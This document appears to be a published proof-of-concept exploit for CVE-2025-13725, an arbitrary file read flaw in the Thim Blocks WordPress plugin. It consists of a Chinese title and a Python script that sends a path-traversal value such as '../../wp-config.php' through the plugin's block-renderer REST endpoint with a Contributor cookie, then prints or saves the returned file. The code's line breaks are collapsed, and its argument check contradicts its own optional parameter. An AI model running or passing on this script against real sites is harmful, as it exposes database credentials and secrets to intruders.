CVE-2025-13725 WordPress Thim Blocks插件任意文件读取漏洞

import requests import sys # CVE-2025-13725 PoC - Arbitrary File Read in Thim Blocks WordPress Plugin # Target: WordPress site with Thim Blocks plugin <= 1.0.1 def exploit_file_read(target_url, file_path, auth_cookie): """ Exploit arbitrary file read vulnerability via iconSVG parameter Args: target_url: Base URL of the WordPress site file_path: Path to the file to read (e.g., ../../wp-config.php) auth_cookie: Authentication cookie for Contributor+ user """ # Construct the REST API endpoint for the icon block endpoint = f"{target_url}/wp-json/wp/v2/block-renderer/thim-blocks/icon" # Prepare the payload with malicious iconSVG parameter params = { "context": "edit", "attributes[iconSVG]": file_path } headers = { "Cookie": auth_cookie, "Content-Type": "application/json" } try: response = requests.get(endpoint, params=params, headers=headers, timeout=30) if response.status_code == 200: print(f"[+] Successfully read file: {file_path}") print(f"[+] Response length: {len(response.text)} bytes") return response.text else: print(f"[-] Failed to read file. Status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return None def main(): if len(sys.argv) < 5: print("Usage: python cve-2025-13725.py <target_url> <file_path> <cookie> [output_file]") print("Example: python cve-2025-13725.py http://target.com ../../wp-config.php 'wordpress_logged_in_xxx=xxx'") sys.exit(1) target_url = sys.argv[1].rstrip('/') file_path = sys.argv[2] auth_cookie = sys.argv[3] output_file = sys.argv[4] if len(sys.argv) > 4 else None print(f"[*] Target: {target_url}") print(f"[*] File to read: {file_path}") content = exploit_file_read(target_url, file_path, auth_cookie) if content: if output_file: with open(output_file, 'w', encoding='utf-8') as f: f.write(content) print(f"[+] Content saved to: {output_file}") else: print("[*] File content:") print(content) if __name__ == "__main__": main()